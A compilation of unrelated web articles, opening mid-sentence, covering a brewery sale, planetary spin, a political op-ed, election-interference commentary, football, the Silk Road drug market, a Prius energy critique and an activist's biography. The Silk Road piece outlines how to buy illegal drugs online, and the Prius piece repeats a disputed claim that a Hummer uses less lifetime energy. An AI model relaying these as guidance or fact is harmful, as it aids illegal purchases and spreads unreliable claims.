snowboarders and surfers. He was living in Ventura when drinking sessions with friends inspired the creation of Saint Archer.  “Craft beer is the one thing that brings everyone together,” said Landan, 36. “It sounded like a ton of fun.”  Backed by a group of investors that included skateboarders, snowboarders and surfers, Landed rented space in an industrial park, hired a staff and began selling beer. While its marketing campaigns stress athletics, Saint Archer has had some success with beer geeks. Its White Ale won a gold medal at last year’s Great American Beer Festival, and the brewery left this summer’s San Diego International Beer Festival with four medals.  Calling this a “lifestyle brand” is “unfair to the beer,” Whitley said. “There’s a terrific crowd of people who are loyal to the brand, but the beer is terrific.”  Yet the brand’s high-profile “beer ambassadors,” including professional athletes and musicians, alienated some in the local brewing fraternity.  “It seemed like they were using their semi-celebrity status to cash in as the hot brand,” said Tom Nickel, owner of O’Brien’s Pub in Kearny Mesa and Nickel Beer in Julian.  “There are a number of brands that have been trying to help further the legacy of San Diego’s making great beers. I wouldn’t put Saint Archer in that fold.”  By selling to MillerCoors, moreover, Saint Archer enters the “craft vs. crafty” debate, where purists scorn breweries acquired by conglomerates. The Brew Project, a local beer bar, used its Twitter account to slam the news: “Shameful day in the San Diego craft brewing community.”  In fact, response on social media has ranged from scathing to approving to awesomely weird:  Modern Times Beer Modern Times Beer: Still brewed, canned, & owned by a bunch of random crackpots behind a strip club. pic.twitter.com/DeYYWdaAj5 — Modern Times Beer (@ModernTimesBeer) September 10, 2015  “Craft beer is so local — it’s owned, at least metaphorically, by its fans,” said Gonzalo Quintero, who teaches a craft beer course at San Diego State University. “For this organization not to understand that is beyond a faux pas.”  Landan said he’s not concerned about any backlash: “I’m just not worried about that. I’m worried about making the best beer possible, and that’s it.”  Saint Archer’s sale was announced one day after Petaluma’s Lagunitas sold a 50 percent share to Holland’s Heineken. Losing sales to upstart craft breweries, brewing behemoths like Anheuser-Busch and Belgium’s Duvel Moortgat have been snapping up craft beer properties.  “If you can’t beat ’em, buy ’em,” said Brian Mulvaney, a senior vice president and beverage industry analyst for Bank of America/Merrill Lynch.  Saint Archer, in Mulvaney’s view, was a prime target: “They are focused on the younger, action sports consumer. And with that, they have developed a nice set of brands and flavors that were more sessionable, a little lighter.”  While Whitley said MillerCoors is not currently considering other San Diego purchases, Mulvaney isn’t so sure.  “There’s more to come,” he said. “I think you are going to see more acquisitions, more partnerships.”
-"Galileo got it wrong. The Earth does not revolve around the Sun. It revolves around you and has been doing so for decades. At least, this is the model you are using." -Srikumar Rao  It's the end of the week, so that means its time to take on another one of your questions from the question/suggestion box, and continue our ongoing Ask Ethan series! Even though there's a backlog of hundreds of questions, you should keep sending the new ones in, as all questions are fair game for any segment. This week's question comes from reader Brian Mucha, who asks us:  Where did the sun and planets get their angular momentum resulting in their rotation. I am not asking about the orbits but the actual rotation. I understand the ice skater analogy where bringing in the extended arms increase the skaters rotation due to the conservation of angular momentum. But the skater starts with spin. IF the skater is standing still they can extend and retract their arms all day and they wont spin. So when the planets and the sun started to form how was their initial angular momentum achieved?  Ahh, the old question of rotation, and why everything does it.  It's easy to make something spin faster once it's already going: you just change its moment of inertia.  What does that term mean, moment of inertia?  Image credit: PDFcast and Utah Electronic High School  You know Newton's second law: the one that tells you force is equal to mass times acceleration (F = ma). Technically, it's a little more accurate to say that force is how another quantity -- momentum -- changes over time. It means if you apply any external force to a mass, its momentum -- or how it's currently moving -- will change, and it tells you exactly by what amount it will change. And if you don't apply an external force to something, its momentum cannot change.  And if everything in the entire Universe only consisted of point masses along the same line, we'd never need anything else. But in the real Universe, masses-in-motion are distributed in more than one dimension.  Image credit: Greg L at the English language Wikipedia.  And whenever you have that, your system has not just momentum, but also angular momentum. And while momentum changes are dependent on mass, angular momentum changes are dependent on a combination of the mass and how that mass is distributed. That combination of factors -- mass and how it's distributed -- is what makes up moment of inertia. So yes, Newton's second law relates how objects change their momentum (i.e., how masses experience changes in their velocities), and there's an equivalent law that relates how objects change their angular momentum, or how moments of inertia experience changes in their rate of rotation.  Images credit: Markus Pössel, Einstein Online Vol. 3 (2007), 1011.  How the figure skater who pulls her arms and legs in spins faster is one example of this: as her mass becomes distributed closer to the axis-of-rotation (and her moment of inertia gets smaller), her rotation rate increases to compensate. If your mass-and-how-it's-distributed changes (goes up or down), your rate of rotation will also change (go down or up) to compensate. But just like Newton's second law tells you that you can change a system's momentum by applying an outside force, you can change a system's angular momentum by applying an outside torque.  Image credit: Wikimedia Commons user Yawe.  And a torque is just a force applied in such a way that it causes an object's rotation to change.  Image credit: NASA, ESA, and the Hubble Heritage Team (STScI/AURA).  Now here's where it gets interesting: every star system in the Universe once began as a cloud of gas-and-dust. These clouds may have been thousands or millions (or in some rare cases, maybe even larger) of times the mass of our Sun, but they were once incredibly diffuse, and spread out across many hundreds or thousands of light years. If these gas clouds had (or the ones we see today have) any sort of global rotation to them, it's far too small to be detectable, as it would take billions of years for such a gas cloud to make even one complete rotation.  Image credit: NASA/ESA and The Hubble Heritage Team (STScI/AURA)  But gas clouds -- like all objects in the Universe -- don't exist in isolation. They exist in the presence of all the other matter-and-energy in the Universe, all of which is subject to the laws of gravitation. And whenever any two masses in the Universe are in relative motion to one another, so long as they're not moving exactly and directly towards-or-away-from one another, the gravitational force they exert on each other causes a torque.  Illustration credit: Bill Saxton, NRAO / AUI / NSF.  This phenomenon is known as a tidal torque, and was first theoretically understood by Jim Peebles -- my Ph.D. advisor's Ph.D. advisor (or my grand-advisor) -- back in 1976. (So, you asked the right person!) It's why pretty much every mass that exists in this Universe, whether it was born with non-zero angular momentum or not, has one now, 13.8 billion years onward. That includes every gas cloud, including the one that gave rise to our Solar System. We can break these large gas clouds up further, into the regions that give rise to the individual stars and star systems that came into existence.  Each one of these regions that eventually result in a star/star system, with whatever angular momentum they have inside, are typically distributed in shapes known as triaxial ellipsoids. A triaxial ellipsoid is a fancy way to say that they're like spheres, except inevitably if you draw three perpendicular axes on them (X, Y, and Z, for example), one of the axes will inevitably be the shortest of the three. When a region gravitationally collapses, it's going to collapse along the shortest axis the fastest, and because normal matter -- the stuff all stars and planets is made out of -- interacts (i.e., collides) with itself, that means it's going to go "splat," like a pancake. (In fact, the scientific word for this process is known as pancaking.)  Image credit: NASA / JPL-Caltech.  But along the other two axes, you'll have a disk-like distribution, which is going to have an overall, net rotation in the direction of whatever its angular momentum is! It's the reason why -- in our Solar System -- all the planets revolve around the Sun in the same direction (counterclockwise, looking downwards from north of the Sun's north pole), the Sun rotates in that same direction, almost all the moons revolve around their planet in that same direction (with notable exceptions explained here), and finally, why practically all the planets rotate about their axes in that same direction, too.  Image credit: Calvin Hamilton, and click for a huge version!  There are only two major exceptions to the rule: Venus, which hardly rotates at all (but does so in the opposite direction), and Uranus, which rotates practically on its side. Both of these worlds are thought to have had their angular momentum significantly changed by the intervention of an outside body, most likely a significant collision a long time ago. That is to say, their rotation was changed by the influence of an external torque!  So that's the story of why planets, moons, stars and star systems revolve and rotate the way they do! Thanks for a good question, Brian, and to anyone else who has a question or suggestion for me, drop me a line!
-John MacIntosh was a partner at a leading global private equity firm, where he worked from 1994 to 2006 in New York, Tokyo and London. He now runs a nonprofit in New York. The opinions expressed in this commentary are his.  I had the pleasure of meeting your husband back in 2002 at the annual reception of a leading private equity firm. (I was the 30-something finance guy in the blue suit, medium height, medium build, brown hair, Ivy League grad. Maybe he mentioned me?)  I still recall how he shook my hand, chatted insightfully with our small group for a few minutes and then wowed us by recognizing the obscure arrangement the jazz quartet was playing (although I always suspected the musicians had been asked to play it for just that purpose). As I'm sure he told you, it was truly a remarkable evening.  Anyway, it's ridiculous that the speeches-on-Wall-Street thing is becoming an issue for you in the primary so let me take the liberty of offering you some free campaign advice.  Folks just don't seem to understand that money-for-speeches -- while perhaps crass at times -- is just good clean fun with no connection at all to the important issues of money in politics and the power of Wall Street. In fact, I think the whole thing would go from being a negative to a positive for your campaign if you made a few simple points:  It's just show business. Every brand-name entertainer over 45 -- singers, athletes, writers and politicians -- Every brand-name entertainer over 45 -- singers, athletes, writers and politicians -- cashes in one way or another because they have time on their hands yet still appeal to the well-heeled baby boomers who attend conferences, throw expensive parties and shell out for Vegas shows. The Wall Street firms who signed you up weren't thinking about how they could increase their power and influence -- they have K Street and "senior adviser" sinecures for that -- they just thought you'd provide some good old-fashioned entertainment. (To tell you the truth, I would have preferred Keith Richards to your husband at that meeting in 2002, but I was not involved in the event planning, and he probably would have been too expensive anyway.)  Since you got paid for a service, there is no hint of corruption. Although the Supreme Court got it exactly Although the Supreme Court got it exactly backward in its Citizens United decision, the danger from corruption is greatest when there is no explicit quid pro quo. If you'd been paid for doing nothing, people could rightly suspect you'd feel some loyalty or future obligation to your paymasters. But you were paid to provide specific services as laid out in some very explicit contracts and you did it. Case closed.  Your earnings reflect admirable commercial instincts. Americans appreciate a candidate with business acumen. Your speech-related earnings reflect your appreciation for the market and your belief in capitalism. Not to have taken millions in low-hanging speaking fees from easy marks would have been positively un-American. Even socialists should appreciate the extra joy -- remember "Ocean's Eleven" -- that you got taking money from people whom you may not particularly like. Appearances to the contrary notwithstanding, you weren't fraternizing with the enemy -- you were picking his pocket!  You were just leaning in. While Bill was out making millions giving his speeches, were you supposed to stay back in Chappaqua knitting booties by the fire? What type of message would that send to hardworking women? And tell people that after your two terms as president, you plan to return to the speech circuit and command the same level of inflation-adjusted fees that male presidents have earned before you.  It was a lot of fun. This is an opportunity to show that you know how to have a good time. Admit that while it was sometimes a grind to speak with (generally) boring people -- from investment bankers to clinical pathologists -- it was also exhilarating to find ways to seem fresh and new week after week. (How does one inspire dentists one day and realtors the next?) Recount a humorous anecdote or two about parrying awkward marital questions from a bond trader who'd overindulged at the open bar.  You brought joy to others. Remind people that your audience was mostly those nameless professionals who huddle forgotten in the bottom 90% of the top 1%. The little people on the outside who, noses pressed to the glass, would otherwise never have had the chance to feel like insiders by shaking your hand and exchanging a few bon mots. Not rich enough to be courted as donors, not numerous enough to matter as voters, not powerful enough to be sought after for their influence, they are truly the unremarked forgotten of our political system. You should be proud to have a brought an hour or two of joy into their lives.  Don't go negative. Even if all else fails, please resist the temptation to go negative. It's true you made more in a good week than Bernie Sanders Even if all else fails, please resist the temptation to go negative. It's true you made more in a good week than Bernie Sanders has saved in his entire life, and he probably could not compete on the lecture circuit if he tried. To some that makes him a loser and you a winner. But even in a silly political season when the candidate who throws the most insults appears to win, there is no need to overreact by following others into the gutter. This speech thing is a tempest in a teapot that will soon blow over (particularly if you release the text of your speeches to prove that there is no smoking gun).  Anyway, good luck in the election. You're going to be a great president. But if it doesn't work out, I hope you'll get back out on the circuit so maybe we'll have the chance to meet. A friend of mine saw you a few years ago and said you put on a great show. He still talks about it all the time.  Best regards,  John
-Update: The push to delegitimize the election results continued after a trio of top Senate Democrats called for a nonpartisan commission to investigate allegations that Russia interfered in the 2016 presidential election. Sens. Ben Cardin (Md.), Dianne Feinstein (Calif.) and Patrick Leahy (Vt.), the top Democrats on the Foreign Relations, Intelligence and Judiciary committees, back the creation an independent commission with 18 months to report its findings The Hill reports.  "The American people deserve a nonpartisan, transparent, public investigation into this insidious attack on our democratic institutions,” Cardin said. “As a nation it’s time to get to the bottom of it and learn what we can do to prevent it from ever happening again.”  The commission would be tasked with investigating allegations of Russian cyber attacks, trying to identify those responsible and recommending responses and future measures to prevent interference in U.S. elections.  Feinstein added that the commission would determine if Russian hacks tried to undercut Hillary Clinton, the Democrat presidential nominee, or "undermine our democratic system."  "This bipartisan commission will help identify the specific ‘actors’ responsible and recommend a possible course of action to prevent this from ever happening again," she said.  The panel, according to the Democratic senators, would have access to both classified and unclassified information, as well as the ability to subpoena officials about Russian activities tied to the presidential race.  Leahy, the top Democrat on the Judiciary Committee, added on Monday lawmakers must "rise above the fray and engage in a serious, independent, and bipartisan investigation."  "This is larger than any one candidate or any one election," he said. "This is about protecting our democracy now, and going forward.”  Of course, none of these calls would have been made had Trump lost the election, and in fact he would have been crucified by the press for daring to question the outcome of the vote.  * * *  Earlier:  And there it is.  Just as we first laid out on Saturday following Friday night's shock "report" that the CIA had concluded Russia had intervened in the presidential election on behalf of Trump, which we quickly assessed had all the marks of a "soft coup" attempt, and which culminated most recently with a report that up to 10 electors had requested a briefing on "Russian Interference" before the presidential vote, moments ago none other than the Clinton campaign, by way of its top political adviser John Podesta, said the campaign is supporting an effort by members of the Electoral College to request an intelligence briefing on foreign intervention in the presidential election, Politico reported.  In his statement released on Monday, Podesta said “The bipartisan electors' letter raises very grave issues involving our national security,” and added that “electors have a solemn responsibility under the Constitution and we support their efforts to have their questions addressed.”  “Each day that month, our campaign decried the interference of Russia in our campaign and its evident goal of hurting our campaign to aid Donald Trump. Despite our protestations, this matter did not receive the attention it deserved by the media in the campaign. We now know that the CIA has determined Russia's interference in our elections was for the purpose of electing Donald Trump. This should distress every American.”  Podesta's statement is the first public statement from the Clinton campaign raising questions about the legitimacy of Donald Trump's victory.  It follows the previously reported open letter from 10 presidential electors, including Democratic Leader Nancy Pelosi’s daughter Christine, requesting an intelligence briefing ahead of the Dec. 19 vote of the Electoral College.  Why this push is curious, is because during today's briefing Press Secretary Josh Earnest explicitly stated that "US intel agencies didn't detect any malicious cyberactivity "that interfered w the casting and counting of ballots" on Nov. 8", a narrative at odds with that concocted by the WaPo, in its interpretation of what the CIA allegedly concluded in its "secret" assessment, which thenbegs the question: who is lying?  Shortly after Podesta's statement, the Democratic National Committee disseminated a Politico story that revealed the electors' call for a briefing. Two Democratic members of Congress have also suggested the Electoral College should take an active role in reassessing, or stopping, a Trump presidency.  It was unclear which particular agency would provide the briefing, if it was permitted, especially in light of reports that there has been a shcism between the CIA and FBI in their interpretation of whether Russia had indeed intervened directly to push for a Trump election.  While so far no proof has been provided by the CIA substantiating its claim, we doubt one will be forthcoming. After all as the WaPo itself reported some time ago, citing an official, "the intelligence community is not saying it has ‘definitive proof’ of such tampering, or any Russian plans to do so." In other words, there is merely "extrapolation" based on a personal biases to reach a desired, goalseeked outcome, without any factual validation whatsoever.  However, it is likely that should the Clinton Campaign's request for a "breifing" be granted, that it would lead to a dramatic split among the already polarized US nation. As to whether the Electoral College would ultimately vote against Trump, we leave it up to readers to consider the possible, and very damaging for the US, consequences.
-Robert Lewandowski scored his 12th Bundesliga goal of the season for Bayern  Bayern Munich will head into the winter break three points clear at the top of the Bundesliga following an emphatic win over second-placed RB Leipzig.  Goals from Thiago and Xabi Alonso put the home side firmly in control before Leipzig's Emil Fosberg saw red for a nasty foul on Philipp Lahm.  Robert Lewandowski made it 3-0 from the penalty spot after Leipzig goalkeeper Peter Gulasci had fouled Douglas Costa.  Lewandowski was denied twice as Leipzig kept Bayern at bay after the break.  It is just a second league loss of the season for Leipzig, who are in their debut Bundesliga campaign.  Formed in 2009 when drinks manufacturer Red Bull bought the licence of amateur club SSV Markranstadt and changed their name, Leipzig have achieved four promotions in seven years to reach the German top flight.  Under coach Ralph Hasenhuttl, they won 11 of their first 15 matches, including a victory over last season's runners-up Borussia Dortmund.  Emil Forsberg has been superb for Leipzig this season, scoring five goals and providing eight assists  However, they were emphatically put in their place by the reigning champions, who were fortunate not to fall behind early on when Yussuf Poulsen failed to connect with Timo Werner's low cross, but after that were irresistible.  Thiago had a simple job in finding an empty net from close range after Lewandowski's shot had struck the post.  Costa struck the upright from an angled strike but the home side would not be denied a second goal for long as Alonso drove home from inside the box after collecting a pass from the scorer of the first.  It was 3-0 and game over before the break as Costa was tripped in the box by Gulasci after running clear of the defence to collect Mats Hummels ball over the top.  Lewandowski converted from the spot and could have had a hat-trick but with just the keeper to beat on two separate occasions in the second half the Polish striker came off second best.  Gulasci was beaten again late in the game but substitute Franck Ribery's fierce strike from inside the box struck the crossbar and bounced on the goal-line before being cleared.
-Making small talk with your pot dealer sucks. Buying cocaine can get you shot. What if you could buy and sell drugs online like books or light bulbs? Now you can: Welcome to Silk Road.  About three weeks ago, the U.S. Postal Service delivered an ordinary envelope to Mark's door. Inside was a tiny plastic bag containing 10 tabs of LSD. "If you had opened it, unless you were looking for it, you wouldn't have even noticed," Mark told us in a phone interview.  Mark, a software developer, had ordered the 100 micrograms of acid through a listing on the online marketplace Silk Road. He found a seller with lots of good feedback who seemed to know what they were talking about, added the acid to his digital shopping cart and hit "check out." He entered his address and paid the seller 50 Bitcoins – untraceable digital currency – worth around $150. Four days later, the drugs (sent from Canada) arrived at his house.  "It kind of felt like I was in the future," Mark said.  Silk Road, a digital black market that sits just below most internet users' purview, does resemble something from a cyberpunk novel. Through a combination of anonymity technology and a sophisticated user-feedback system, Silk Road makes buying and selling illegal drugs as easy as buying used electronics – and seemingly as safe. It's Amazon – if Amazon sold mind-altering chemicals.  Here is just a small selection of the 340 items available for purchase on Silk Road by anyone, right now: a gram of Afghani hash; 1/8 ounce of "sour 13" weed; 14 grams of ecstasy; .1 gram tar heroin. A listing for "Avatar" LSD includes a picture of blotter paper with big blue faces from the James Cameron movie on it.  The sellers are located all over the world, a large portion from the United States and Canada.  But even Silk Road has limits: You won't find any weapons-grade plutonium, for example. Its terms of service ban the sale of "anything who's purpose is to harm or defraud, such as stolen credit cards, assassinations, and weapons of mass destruction."  'It's Amazon – if Amazon sold mind-altering chemicals.'  Getting to Silk Road is tricky. The URL seems made to be forgotten. But don't point your browser there yet. It's only accessible through the anonymizing network, TOR, which requires a bit of technical skill to configure.  Once you're there, it's hard to believe that Silk Road isn't simply a scam. Such brazenness is usually displayed only by those fake "online pharmacies" that dupe the dumb and flaccid. There's no sly, Craigslist-style code names here. But while scammers do use the site, most of the listings are legit. Mark's acid worked as advertised. "It was quite enjoyable, to be honest," he said. We spoke to one Connecticut engineer who enjoyed sampling some "silver haze" pot purchased off Silk Road. "It was legit," he said. "It was better than anything I've seen."  Silk Road cuts down on scams with a reputation-based trading system familiar to anyone who's used Amazon or eBay. The user Bloomingcolor appears to be an especially trusted vendor, specializing in psychedelics. One happy customer wrote on his profile: "Excellent quality. Packing, and communication. Arrived exactly as described." They gave the transaction five points out of five.  "Our community is amazing," Silk Road's anonymous administrator, known on forums as "Silk Road," told us in an e-mail. "They are generally bright, honest and fair people, very understanding, and willing to cooperate with each other."  Sellers feel comfortable openly selling hard-core drugs because the real identities of those involved in Silk Road transactions are utterly obscured. If the authorities wanted to ID Silk Road's users with computer forensics, they'd have nowhere to look. TOR masks a user's tracks on the site. As for transactions, Silk Road doesn't accept credit cards, PayPal or any other form of payment that can be traced or blocked. The only money good here is Bitcoins.  Bitcoins have been called a "crypto-currency," the online equivalent of a brown paper bag of cash. Bitcoins are a peer-to-peer currency, not issued by banks or governments, but created and regulated by a network of other bitcoin holders' computers. (The name "Bitcoin" is derived from the pioneering file-sharing technology Bittorrent.) They are purportedly untraceable and have been championed by cyberpunks, libertarians and anarchists who dream of a distributed digital economy outside the law, one where money flows across borders as free as bits.  To purchase something on Silk Road, you need first to buy some Bitcoins using a service like Mt. Gox Bitcoin Exchange. Then, create an account on Silk Road, deposit some bitcoins, and start buying drugs. One bitcoin is worth about $8.67, though the exchange rate fluctuates wildly every day. Right now you can buy an 1/8 ounce of pot on Silk Road for 7.63 Bitcoins. That's probably more than you would pay on the street, but most Silk Road users seem happy to pay a premium for convenience.  'It kind of felt like I was in the future.'  Since it launched this February, Silk Road has represented the most complete implementation of the Bitcoin vision. Many of its users come from Bitcoin's Utopian geek community and see Silk Road as more than just a place to buy drugs. Silk Road's administrator cites the anarcho-libertarian philosophy of Agorism. "The state is the primary source of violence, oppression, theft and all forms of coercion," Silk Road wrote to us. "Stop funding the state with your tax dollars and direct your productive energies into the black market."  Mark, the LSD buyer, had similar views. "I'm a libertarian anarchist and I believe that anything that's not violent should not be criminalized," he said.  But not all Bitcoin enthusiasts embrace Silk Road. Some think the association with drugs will tarnish the young technology, or might draw the attention of federal authorities. "The real story with Silk Road is the quantity of people anxious to escape a centralized currency and trade," a longtime bitcoin user named Maiya told us in a chat. "Some of us view Bitcoin as a real currency, not drug barter tokens."  Silk Road and Bitcoins could herald a black market eCommerce revolution. But anonymity cuts both ways. How long until a DEA agent sets up a fake Silk Road account and starts sending SWAT teams instead of LSD to the addresses she gets? As Silk Road inevitably spills out of the bitcoin bubble, its drug-swapping utopians will meet a harsh reality no anonymizing network can blur.
-The April 8th release of an NSA hacking toolkit by the group known as the Shadowbrokers shook technology circles when it was revealed that serious exploits targeting Microsoft may have been used to attack global banking systems.  In the aftermath of the revelations, BBC News was called out by Wikileaks editor Julian Assange for misrepresenting the degree to which Microsoft has already addressed such serious vulnerabilities.  The Shadowbrokers hacking tools are a significant, serious event. CNN has stated that the leaks put “a powerful nation state-level attack tool in the hands of anyone who wants to download it to start targeting servers.” Fortune reported that the Shadowbrokers release had severe security implications, and that there appeared to be at least several dozen exploits, including zero-day vulnerabilities in the release. Some of the exploits offer a potential “God Mode” on select Windows systems which would give an intruder total control.  Microsoft released a security update in response to the news, which stated that it had already patched “most” of the vulnerabilities. When discussing “nation state-level attack tools,” this is a critical distinction. Microsoft’s statement made it clear that it was not claiming to have wholly resolved the issue or to have made itself completely invulnerable.  BBC News ran an article on the leaks titled: “Microsoft patched ‘NSA hack’ Windows flaws before leak” which deliberately misquoted Microsoft’s security update in order to imply that the company had entirely resolved the issue.  The BBC referred to the exploits as “addressed,” and “already fixed,” specifically misstating the reality of Microsoft’s remaining vulnerabilities which the company itself admitted were only “mostly” addressed.  The state-run media company was immediately called out by Wikileaks founder and editor Julian Assange on Twitter, who said the publication was full of “breathless dolts.”  The episode is the latest in a long history of scandals to hit the BBC over time, including false reports concerning Ethiopian arms purchases, faking footage of child laborers in Bangladesh and actively working to cover up the Jimmy Saville abuse scandal.  Disobedient Media has previously reported on a similar instance of misrepresentation during Wikileaks’ Vault 7 release where Buzzfeed exaggerated statements made by Apple to imply that they had fixed the newly revealed security exploits when this was not the case.  Share this: Tweet  Print  More
-For all the Deadheads out there…  I made a Grateful Dead version of the tour map that I made for Phish.  I extracted the date and location of every Grateful Dead show from 1965 to 1995. For the purpose of mapping, I removed shows outside of North America (and Jamaica), but have kept all USA and Canada concerts in the database.  The data are mapped to show both the number of concerts per state/province, and the tour path. Six states had over 50 shows: California (884), New York (310), Pennsylvania (101), Massachusetts (85), Illinois (80), and New Jersey (54). The total number of shows in the database is 2,286. The light blue dots identify every city where a concert was played. The light blue path connects the concert locations chronologically, moving from the first show to the last. So if you followed the band and attended every show, this is the route you took.  Data sources: http://www.setlists.net/
-WWE: "Tokiwakita (Time Has Come)" ► Hideo Itami 1st Theme Song  by  3:21 - 1,011,957 views  Title: "Tokiwakita (Time Has Come)"  Composer: CFO$  Duration: 3:20  Album: WWE NXT: Tokiwakita (Time Has Come) [Hideo Itami] - Single  Genres: Soundtrack, Music  Released: Sep 16, 2014  ℗ 2014 WWE, Inc./Wind-up Songs (a CFO$ Production)  Download Link: (m4a)  https://www.sendspace.com/file/bu5h08  Available Exclusively on iTunes:  http://bit.ly/1u5mm03  Theme Count:  1st: "Tokiwakita (Time Has Come)"  All WWE programming, talent names, images, likenesses, slogans, wrestling moves, trademarks, logos and copyrights are the exclusive property of WWE, Inc. and its subsidiaries. All other trademarks, logos and copyrights are the property of their respective owners. © 2014 WWE, Inc. All Rights Reserved. by Saint 3:21 - 1,011,957 viewsTitle: "Tokiwakita (Time Has Come)"Composer: CFO$Duration: 3:20Album: WWE NXT: Tokiwakita (Time Has Come) [Hideo Itami] - SingleGenres: Soundtrack, MusicReleased: Sep 16, 2014℗ 2014 WWE, Inc./Wind-up Songs (a CFO$ Production)Download Link: (m4a)https://www.sendspace.com/file/bu5h08Available Exclusively on iTunes:http://bit.ly/1u5mm03Theme Count:1st: "Tokiwakita (Time Has Come)"All WWE programming, talent names, images, likenesses, slogans, wrestling moves, trademarks, logos and copyrights are the exclusive property of WWE, Inc. and its subsidiaries. All other trademarks, logos and copyrights are the property of their respective owners. © 2014 WWE, Inc. All Rights Reserved.
-According to an article posted on The Recorder Online by Chris Demorro, the Toyota Prius, the most popular hybrid is not actually that efficient. Their ultimate ‘green car’ is the source of some of the worst pollution in North America; it takes more combined energy per Prius to produce than a Hummer.  In order to fully understand this argument, you need to know the overall architecture of the Prius powertrain. The car consists of two engines, a 1.5L gas engine and an electric motor. The electric motor is capable of propelling the car up to 25mph and from there the gas engine kicks in. Therefore the car saves fuel by turning the gas engine off when it is idling and driving in traffic. The battery for the electric motor is recharged through the braking system.  When the current Prius was released for the 04′ model year, Toyota boasted about the car’s estimated 60 mpg in the city and 51mpg on the highway. Consumers ate this information up and flocked to Toyota dealers in droves. Soon after its release consumers began to complain about the fact that their cars were not achieving the claimed mpg. This was due to the out of date EPA tests that the government uses to estimate a car’s mpg. (The new tests will be applied to 2008 models) In most real world applications the Prius only manages to achieve 45 mpg, which is not much higher than most subcompact economy cars (Aveo, Yaris, Scion).  That is the first main issue with the current Prius. Second is the issue with the actual production of the batteries for the hybrid cars. It is only slowly being revealed that the nickel batteries that hybrids use are not environmentally friendly. The nickel for the Prius is produced in Sudbury, Ontario. According to Demorro, " This plant has caused so much environmental damage to the surrounding environment that NASA has used the ‘dead zone’ around the plant to test moon rovers. The area around the plant is devoid of any life for miles." Toyota produces 1,000 tons annually. The production of the batteries does not end in Canada, the nickel is then sent off to a refinery in Europe and then off to China and finally it ends up in finished form in Japan. This in turn uses more energy to create the batteries since it involves many factories all over the world.  When you factor in all the energy it takes to drive and build a Prius it takes almost 50% more energy than a Hummer. In a study by CNW Marketing called "Dust to Dust", researchers discovered that the Prius costs and average of $3.25 per mile driven over a lifetime of 100,000 miles (the expected lifespan of a hybrid). On the other hand the Hummer costs $1.95 per mile over an expected 300,000 miles. Which means that the Hummer will last three times as long and use less energy than the Prius. ( I am not sure about the claim that the Hummer will last three times longer…)  This also doesn’t take into account the problem with disposing of the used batteries. Most of the hybrids have not been on the market long enough to be disposed of yet, but when it does happen there are going to be more environmental implications.  Basically to sum this up, the Prius and all hybrids for that matter are not exactly what the public perceives them to be. Hybrids for the most part do not have huge gains in gas mileage over their gas powered counterparts. There is also a premium to buy a hybrid and there is a large chance that the premium will not be offset by the time you get rid of the car. According to Demorro, "It takes five years to offset the premium price of a Prius. Meaning, you have to wait 60 months to save any money over a non-hybrid car because of lower gas expenses." Then there are the issues with the batteries and their effect on the environment.  Basically if you want to save gas and pollute less you should buy a subcompact with a PZEV rated engine. It will save you more money in the long run and the earth will thank you.  This may all change in the coming years as technology gets better and the price of hybrids drop.  Full Article:  The Recorder Online by Chris Demorro
-Binayak Sen (Hindi: बिनायक सेन, Bengali: বিনায়ক সেন) is an Indian paediatrician, public health specialist[2] and activist. He is the national Vice-President of the People's Union for Civil Liberties (PUCL).[3] He is the recipient of several awards including the Jonathan Mann Award, the Gwangju Prize for Human Rights, and the Gandhi International Peace Award. He has been convicted for sedition by a local Court in India which was later upheld by the High Court of Chhattisgarh. He was subsequently granted bail by the Supreme Court of India on appeal. He is a member of the policy group for Police Reforms of Aam Aadmi Party.[4]  Binayak Sen originally started working as a paediatrician extending health care to poor people in the rural-tribal areas of the Chhattisgarh state, doubling up as a human rights activist. While Sen has worked with the state government on health sector reform[5] he has also strongly criticised the government on human rights violations during the anti-Naxalite operations, while advocating non-violent political engagement.[6]  In May 2007, he was detained for allegedly supporting the outlawed Naxalites which would violate the provisions of the Chhattisgarh Special Public Security Act 2005 (CSPSA) and the Unlawful Activities (Prevention) Act 1967.[7][8] Sen first applied for bail before the Raipur Sessions Court and then the Chhattisgarh High Court in July 2007, soon after his arrest,[9] but was granted bail by the Supreme Court of India on 25 May 2009.[10]  In 2010 was convicted and sentenced to life imprisonment by Raipur Sessions Court, Chhattisgarh for sedition and helping Naxalites to set up a network to fight the State.[11] He was granted bail on 15 April 2011 by the Supreme Court of India which gave no reason for the order.[12] Sen has filed an appeal before the Chhattisgarh High Court and the case is pending.[13]  Career as a doctor [ edit ]  Binayak Sen and his wife Illina Sen played key roles in the foundation of the Chhattisgarh Mukti Morcha's Shaheed Hospital which is owned and operated by a workers' organisation.[14][15] He is also an advisor to Jan Swasthya Sahyog, a health care organisation.[16] He has also been published in the prestigious British medical journal The Lancet (in its edition of 12 February 2011) where he talks about the severe inaccessibility of the healthcare to the poor in India. The article was hailed as reaffirmation of support to Dr Sen by the international community by Ilina Sen.[14][17]  PUCL activist [ edit ]  Sen is the National Vice-President of the People's Union for Civil Liberties (PUCL) and General Secretary of its Chhattisgarh unit. In this capacity, he helped organise numerous investigations into alleged human rights violations carried out during anti-Naxalite operations. The alleged violations included the murder of unarmed and innocent civilians by the anti-Naxalite movement Salwa Judum.  In a 2008 interview, Sen stated that he does not condone the Naxalites, does not approve of their violent methods, and has spoken strongly against them several times. But, he also expressed his opposition to the violent activities carried out by Salwa Judum, which he believes, have created a split in the tribal community.[6] Sen advocates peaceful methods such as negotiations to solve the Naxalite problem.[18]  Awards and honours [ edit ]  Sen was the recipient in 2004 of the Paul Harrison award for a lifetime of service to the rural poor. This award is given annually by the Christian Medical College in Vellore, India to its alumni.[19]  Sen was awarded the R.R. Keithan Gold Medal by The Indian Academy of Social Sciences (ISSA) on 31 December 2007. The citation describes him as "one of the most eminent scientists" of India. "The award is for his outstanding contribution to the advancement of science of Nature-Man-Society and his honest and sincere application for the improvement of quality of life of the poor, the downtrodden and the oppressed people of Chhattisgarh." His "suffering and personal risk" would inspire scientists as well as the general public for a very long time, according to the citation.[20]  Sen was selected for the Jonathan Mann Award for Global Health and Human Rights in 2008.[21][22] The Global Health Council issued a public statement, "Dr. Sen's accomplishments speak volumes about what can be achieved in very poor areas when health practitioners are also committed community leaders. He staffed a hospital created by and funded by impoverished mine workers, and he has spent his lifetime educating people about health practices and civil liberties—providing information that has saved lives and improved conditions for thousands of people. His good works need to be recognized as a major contribution to India and to global health; they are certainly not a threat to state security."[23]  Sen has been awarded the Gwangju Prize for Human Rights 2011[24] in memory of the Gwangju Democratization Movement of South Korea. The award 